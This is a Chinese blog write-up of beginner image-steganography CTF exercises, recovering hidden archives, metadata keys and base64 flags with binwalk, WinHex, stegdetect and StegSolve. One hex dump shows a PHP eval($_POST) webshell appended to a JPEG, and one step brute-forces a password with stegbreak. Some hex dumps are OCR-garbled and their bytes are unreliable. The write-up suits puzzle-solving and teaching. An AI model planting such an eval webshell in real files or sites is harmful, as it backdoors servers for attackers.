简单图片隐写术练习题



椰奶冻不安全
● 于 2020-06-26 21:13:23 发布
● 1103 ℃ 收藏 20
分类专栏: 盘 文章标签: 信息安全 安全
来自 椰奶冻不安全 的博客,复制完可要记得我吖
本文链接: https://blog.csdn.net/qq_40654505/article/details/106974557
版权



杂专栏收录该内容

7 篇文章 0 订阅 订阅专栏

隐写术练习题

【题目及工具地址】: https://github.com/RookieDrummer/Simple-picture-steganography.git

目录

隐写术练习题

2.png 566.gif 2010112719152853781.gif eg_tulip.jpg flag.exe out.jpg out2.jpg rose.jpg ta.jpg xx.gif

JPEG(jpg), 文件头: FF D8 FF E0 00 10 4A 46 49 46 文件尾: FF D9 PNG (png), 文件头: 89 50 4E 47 0D 0A 1A 0A 文件尾: 49 45 4E 44 AE 42 60 82 GIF (gif), 文件头: 47 49 46 38 Windows Bitmap (bmp), 文件头: 42 4D Roshal ARchive (rar),文件头: 52 61 72 21 Deflate (zip), 文件头: 50 4B 03 04 14 00 00 00 08 00 PDF, 文件头: 25 50 44 46



查看详细信息里正常,winhex发现有好多zip的文件头,搜索一下十六进制的zip文件头50 4B 05 06共被发现四次,说明有四个隐藏的压缩包



用binwalk提取一下

binwalk 2.png

DECIMAL	HEXADECIMAL	DESCRIPTION
0 41 58610	0x0 0x29 0xE4F2	PNG image, 411 x 218, 8-bit/color RGBA, non-interlaced Zlib compressed data, default compression Zip archive data, at least vl.0 to extract, compressed size: 16, uncompressed size: 1
me: 1.txt 58748 58770	0xE57C 0xE592	End of Zip archive, footer length: 22 Zip archive data, at least vl.0 to extract, compressed size: 16, uncompressed size: 1
me: 2.txt 58908 58930	0xE61C 0xE632	End of Zip archive, footer length: 22 Zip archive data, at least v2.0 to extract, compressed size: 3534, uncompressed size:
, name: st 62580 62602	0xF474 0xF48A	End of Zip archive, footer length: 22 Zip archive data, at least v2.0 to extract, compressed size: 3534, uncompressed size:
, name: st 66252	0x1020C	End of Zip archive, footer length: 22

binwalk -e 2.png

名称	修改日期	类型	大小
1.txt	2016/5/30 0:25	文本文档	1 KB
2.txt	2016/5/30 0:25	文本文档	1 KB
29	2020/6/24 16:44	文件	0 KB
29.zlib	2020/6/24 16:44	ZLIB 文件	65 KB
E4F2.zip	2020/6/24 16:44	WinRAR ZIP 压缩	8 KB
E592.zip	2020/6/24 16:44	WinRAR ZIP 压缩	8 KB
E632.zip	2020/6/24 16:44	WinRAR ZIP 压缩	8 KB
F48A.zip	2020/6/24 16:44	WinRAR ZIP 压缩	4 KB
st	2016/5/30 0:17	文件	5 KB

最后用winhex打开st发现了png文件头

2.png st																	
Offset	0	1	2	3	4	5	6	7	8	9	A	в	С	D	E	F	^
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	hPNG IHDR
00000010	00	00	02	19	00	00	01	05	08	06	00	00	00	4E	E6	F5	Næõ
00000020	F6	00	00	11	63	49	44	41	54	78	9C	ED	DD	B1	76	D3	ö cIDATxœíݱvÓ
00000030	4A	1E	07	E0	61	CF	3E	4A	42	C1	E1	09	CC	13	04	1A	J àaï>JBÁá Ì
00000040	2A	5A	3A	A7	24	0D	1D	E5	ED	6E	13	CA	DO	6D	4B	45	*Z:§\$ åin ÊEmKE
00000050	43	F2	04	E4	09	38	14	24	EF	E2	B5	64	CB	4E	62	59	Cò ă 8 ŞiâµdËNbY
00000060	1A	CB	F3	в7	13	E7	FB	CE	C9	DE	7B	EE	CA	F2	CC	48	Eó· çûÎÉÞ{îÊòÌH
00000070	1A	FD	34	1A	C9	2F	26	53	09	00	A0	BO	FF	EC	BB	00	ý4 É/&S °ÿi»
00000080	0.0	CO	61	12	32	0.0	80	10	42	06	0.0	10	42	CS	0.0	0.0	Aa 2 C B BE

key is 3F838EFA8139F01D

566.gif



属性里的详细信息啥也没有,依旧winhex打开,文件头正常,但是在最末尾发现了东西

00021C00	2D	92	5A	5A	F1	91	F1	82	3F	63	3F	ED	5F	47	0E	3F	" ZZň 'n, ?c?i_G ?
00021C10	3F	3F	C8	E1	DB	F6	8A	D0	64	4B	1F	A8	7A	74	BO	5A	??ÈáÛöŠĐdK "zt°Z
00021C20	41	26	78	98	DF	A1	AE	3F	55	4B	84	79	99	E5	4A	DB	A&x~B;@?UK,,y™åJÛ
00021C30	D0	3F	02	A7	AA	1E	8D	9C	D2	45	3F	76	2C	6E	9C	6E	Đ? §ª œÒE?v,nœn
00021C40	6C	CC	D9	76	54	F8	65	OF	3F	2F	5B	EE	DD	CO	4C	30	lÌÙvTøe ?/[îÝÀLO
00021C50	FO	9B	BA	89	FF	75	75	B 3	76	EA	9A	E4	8A	D2	79	53	ð>°hýuu*vêšaŠÒyS
00021C60	81	7A	3F	B7	58	3F	1E	9A	5F	A4	FE	E6	8C	3A	BC	6A	z? X? š_¤þæŒ:≒j
00021C70	6C	DD	6D	3F	3F	OF	3F	OF	FA	B6	37	01	3F	E1	58	C8	lým?? ? ú¶7 ?áXÈ
00021C80	46	3F	3A	AE	F5	88	F6	B2	8F	62	91	B2	E0	A9	CF	E7	F?:@ő^ö* b'*à©ïç
00021C90	3F	BB	F5	3F	38	F5	FD	55	80	76	FO	4D	57	66	D6	FO	?»ô?8ôýU€vôMWfÖð
00021CA0	CE	C5	77	C7	74	44	29	A3	96	3F	65	3F	A9	BE	26	A8	ÎÂwÇtD)£-?e?©¾&
00021CB0	BE	3F	3F	7D	8F	DE	F2	68	B3	79	3F	E9	6B	37	86	5F	34??} Þòh*y?ék7†_
00021cc0	95	40	FD	C4	3F	40	01	07	8C	50	3F	5A	3F	20	67	62	•@ýĂ?@ @P?Z? gb
00021CD0	F2	6D	3F	7C	07	A3	CF	FF	2D	3F	0B	3F	3F	BD	FE	7F	cm? £Iý-? ??½þ
00021CE0	3F	4D	3F	E4	BF	3F	3F	6F	96	F6	24	FD	EC	1F	01	50	?M?ä;??o-ö\$ýì P
00021CF0	4B	01	02	3F	20	14	20	20	20	08	20	93	9A	5E	47	12	K ? "š^G
00021D00	36	26	24	3F	20	20	3F	20	20	0A	20	24	20	20	20	20	6&\$? ? \$
00021D10	20	20	20	20	20	20	20	20	20	20	20	32	33	33	33	33	23333
00021D20	33	2E	67	69	66	0A	20	20	20	20	20	20	20	01	20	18	3.gif
00021D30	20	5F	33	58	20	05	13	3F	70	5A	58	20	05	13	3F	70	_3X ?pZX ?p
00021D40	5A	58	20	05	13	3F	50	4B	05	06	20	20	20	20	01	20	2X 2DK
00021D50	01	20	5C	20	20	20	3F	20	20	20	0D	0A	0D	0A	6B	65	\ ? ke
00021D60	79	3A	36	32	66	32	34	33	35	32	38	30	65	61	35	39	y:62f2435280ea59
00021D70	63	39	20														c9

https://blog.csdrj.net/qq_4065450

emmmmmm 结束

2010112719152853781.gif



详细信息正常,文件头正常,binwalk发现里面居然还有一个rar,之前用binwalk居然没发现,害,提取吧

* made by p	pcat	ubar die barameters encrosed in double duotes.
DECIMAL	HEXADECIMAL	DESCRIPTION
0 184854	0x0 0x2D216	GIF image data, version "89a", 300 x 300 RAR archive data, version 4.x, first volume type: MAIN_HEAD

binwalk -e 2010112719152853781.gif

得到压缩包,在里面找到flag

1 2D216.rar\r	no - RAR 4.x 压缩文件	,解包大小为 5,0	000,020 字节		~
名称 ^	大小	压缩后大小	<u> 美型</u> 文件夹	修改时间	CRC32
key.txt	20	20	文本文档	2015/9/11 14:48	B749C937
lurenjia	5,000,000	2,517	文件	2015/9/11 14:47	2FCF4765

🥘 key.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H) key:FD509C6CFABD646E

eg_tulip.jpg



winhex打开发现文件头是png,文件末尾发现一句话木马

Offset 0 00007340 F9 00007350 15 00007360 27	1 2 72 7F 1 5E 65 (3 4 B6 29 3	5 6 7 36 2B 23	8 9 A 0E 3D 96	B C D E F	An (1) (1) + - +
00007340 F9 00007350 15 00007360 27	72 7F 1	B6 29 3	36 2B 23	0E 3D 96	61 97 73 23 94	An CLEIF - stat
00007350 15 00007360 27	5E 65 (OD CC 7			01 07 75 25 04	ur 1)0+# =-a#s#"
0007360 27		op cc r	A0 6A D5	AE 6D 79	DA BE D2 A9 63	^e Ì jõ%myÚ¾Ò€c
	5B D6 I	BC B9 B	B1 9F 3E	2F 4F 7E	98 B5 4D 25 71	'kÖ41±Ÿ>/C~~µM%q
00007370 FB	72 A6 5	SE AB (06 8A 86	OF E5 CE	F3 4A 29 15 17	ûr¦^« І åĺóJ)
0007380 2E	5C 68 (OB 16 2	2C B0 79	DA 6E 3C	6C E8 50 9B 3E	.\h ,°yÚn <lèp>></lèp>
0007390 63	36 2D 9	91 AE 8	88 35 BC	DC 4A 0A	27 8A F6 E3 C3	ct-'@^54UJ 'ŠöãÃ
00073A0 3D	3 A0 A	A4 A4 E	BC ED 3B	B4 B7 EE	DD BB 5B 93 26	= = ====; ' ·îÝ»["&
00073B0 4D	7D 46 5	58 47 5	53 74 76	84 02 E0	24 53 D9 43 7A	M}FXGStv, à\$SÙCz
00073C0 C5	79 FF '	7F 79 2	29 AC 62	12 4F AF	OF 00 00 00 00	Ayy y) b c
000073D0 49	15 4E 4	44 AE 4	42 60 82	3C 3F 70	68 70 20 65 76	IEND&B`, php ev</td
00073E0 61	5C 28 2	24 5F 5	50 4F 53	54 5B 4E	6D 46 6B 59 54	al(\$_POST[NmFkYT
00073F0 46	59 4D 5	57 45 3	35 5A 44	49 7A 4D	6D 45 30 59 67	FiMWE5ZDIzMmE0Yg
0007400 3D	BD SD 2	29 20 3	SF BE			==]) 2>

flag应该是这个base64加密后的密文

NmFkYTFiMWE5ZDIzMmE0Yg==

网上找个在线base64解密网站搞定

flag.exe

winhex打开发现是个png,给文件重命名变成了二维码



扫码得到flag

out.jpg



winhex打开在文件末尾找到这个。	0 0	o	0	目》	则是	两	张	图片	, f	寄 要	分	离,	不	过	这都	都这	么明显了,	就算	了吧
00001050	31	69	0 E	30	עע	40	14	00	50	/ *1	вв	08	00	эn	23	30	TEA IE UT	LAK SS	•
00001DF0	9D	1B	82	A4	FO	6A	C2	A2	A2	05	03	80	38	A2	8A	00	, ¤ðj¢¢	€8¢Š	\$
00001E00	F2	CD	4E	3F	ED	FF	00	8C	D7	5E	19	BE	67	3A	53	69	òÍN?íÿ Œ×'	* %g:S	i
00001E10	A9	2C	91	46	DB	0C	84	30	7C	33	0E	71	9E	C3	1C	71	@, 'FÛ "0]:	3 qžÃ	q
00001E20	5E	93	A7	69	76	3A	75	AA	C3	63	6B	0D	AC	59	2D	B2	^"Siv:u"Ad	ck -Y-	. =
00001E30	04	08	32	7A	9E	3B	D1	45	24	36	CB	22	31	B8	9D	C4	2zž;NE\$	6Ë"1,	Ă
00001E40	E6	A4	55	0A	31	45	14	C4	3A	8A	28	A0	02	8A	28	A0	anU 1E A:	ś(š(£
00001E50	02	8A	28	A0	02	AB	5D	D8	C3	7B	18	49	83	15	07	38	Š(«]ØÅ	[If	8
00001E60	07	14	51	40	15	DF	48	B7	70	37	34	87	1D	39	1D	4F	CO BH 'p'	74‡ 9	0
00001E70	53	D2	86	D1	ED	9D	FC	DC	C8	1F	9E	41	1D	FA	F6	A2	SÒTNÍ UUÈ	žA úč	j¢.
00001E80	8A	00	0E	8F	6C	48	DC	D2	1F	A3	63	D7	D0	7B	FE	94	Š 1HƯỜ Đ	Lc×Đ{p	s**
00001E90	BF	D8	F6	B8	39	0E	73	8E	F8	FC	78	A2	8A	00	4F	EC	:00,9 sžøi	ix¢š c	1
00001EA0	8B	63	BB	E6	93	9E	OF	23	91	C7	в7	B5	5D	86	25	86	< c>a"ž # '(Ç•µ]†%	it.
00001EB0	14	89	49	2A	8A	00	C9	E6	8A	28	03	FF	D9	50	4B	03	≒I*Š ÉæŠ	(YUPF	:
00001EC0	04	0A	00	00	00	00	00	BA	65	6D	47	48	CF	EE	50	14	° e:	GHIIP	2
00001ED0	00	00	00	14	00	00	00	07	00	00	00	6B	65	79	2E	74		key.	t
00001EE0	78	74	6B	65	79	3A	42	34	34	41	43	39	33	41	43	35	xtkey:B447	AC93AC	:5
00001EF0	42	34	42	36	43	36	50	4B	01	02	3F	00	0A	00	00	00	B4B6C6PK	?	
00001F00	00	00	BA	65	6D	47	48	CF	EE	50	14	00	00	00	14	00	emonii	2	_
00001F10	00	00	07	00	24	00	00	00	00	00	00	00	20	00	00	00	\$		
00001F20	00	00	00	00	6B	65	79	2E	74	78	74	0A	00	20	00	00	key.tr	xt	
00001F30	00	00	00	01	00	18	00	BA	0E	3D	2C	CE	1D	D1	01	42	0 1	=,Î Ñ	в
00001F40	06	67	1E	CE	1D	D1	01	42	06	67	1E	CE	1D	D1	01	50	g Î Ñ B (ΪÑ	P
00001F50	4B	05	06	00	00	00	00	01	00	01	00	59	00	00	00	39	K	Y	9
00001F60	00	00	00	00	00														505.
PT/WE 15 / 16					10	167 B.				10	70					- 20	1004th.	(49-2)	to the shot

out2.jpg



不枉我每次都查看详细信息,果然出现了

Network in the second		×
常规 安全	详细信息 以前的版本	
属性	值	^
水平分辨率	72 dpi	
垂直分辨率	72 dpi	
位深度	24	
压缩		
分辨率单位		
颜色表示		
压缩的位/像素		
照相机		
照相加制造商		
照相机型号	key:6F35AF6665385859	
光層值		
曝光时间		
ISO 速度		
曝光补偿		
焦距		
最大光圈		
测光模式		
目标距离		
闪光灯模式		
闪光虹影量		*
删除属性和个人	信息	
	确定 取消 应用	3(A) 108571501

rose.jpg



详细信息正常,十六进制正常,binwalk正常,不过用Stegdetect检测到了隐写

命令: stegdetect.exe -tjopif -s 10.0 xxx.jpg

\rose.jpg : jphide(*)

使用stegbreak用字典爆破密码

stegbreak.exe -r rules.ini -f 123.txt -t p xxx.jpg

得到密码123456

使用 steghide info xxx.jpg, 输入密码即可提取隐藏文件得到flag

ta.jpg



用winhex打开搜索jpg的文件头,共发现两次,是两个图片拼接的



截取第二个文件头到末尾新建一个文件保存为.jpg,则成功得到flag

key:578FDB505	ACA5187

xx.gif



无法打开,可能不是图片或者文件头被破坏,winhex打开

GIF文件的文件头一般为 47 49 46 38 39 61 转换为ascii为 GIF89a (此题开头为 39 61, 缺前面的4位) xx.gif Offset 2 3 5 6 8 9 0 4 А в C D 1 E F 00 ED ED EC F7 F7 F7 9C 9aÅ R ÷ý ííì÷÷÷œ 39 61 C2 01 52 01 F7 FF 00000000 00000010 9C 9C 8C 8C 8C 03 03 03 A3 A3 A3 3F 3F 3F 5C 5B ONOEGE £££???\[93 93 F9 F9 F6 DE DE DD [111666"""ùùoÞÞÝ 5B 6C 6C 6C E9 E9 E9 93 00000020 00000030 12 01 02 F4 F4 F4 74 74 74 FA F5 F4 83 83 83 FE 8ôôtttúõôfffþ 00000040 F9 F9 E6 E6 E5 BE BE BE 63 62 62 4C 4C 4C E2 E2 ùùææå¾¾cbbLLLââ 00000050 E1 CE CE CE 53 53 53 0A OA OA FC FC FA 7F 7F 7F áÎÎÎSSS üüú D5 2C 2C 2C 43 43 43 AE ÚÙÙÚÝUÖÕÕ,,,CCC® 00000060 DA D9 D9 FA FD FC D6 D5 00000070 AE AE F2 F2 F2 0C 01 01 33 33 33 C9 C9 C9 D1 D1 ©©∂∂∂ 333ÉÉÉNÑ 00000080 D1 F2 ED EC 1C 1C 1B C6 C5 C5 F9 FC FA E2 DB DC Nôii #ÅÅùuúâÛÜ 00000090 FF FE FF C2 C1 C1 B6 B6 B6 B9 B9 B9 24 24 24 EF ybyÅÅÁ¶¶¶¹¹\$\$\$1 000000A0 EF EF B1 B1 B1 FA FA F8 FC FE FE A9 A9 A9 14 13 11±±±úúøubb@@@

补充 47 49 46 38 后保存,成功修复



图片神器StegSolve打开并一帧一帧的查看,记录下flag











key is:dGhpcyBpcyBhIGdpZg== 格式很明显是base64, 转码后得到flag: this is a gif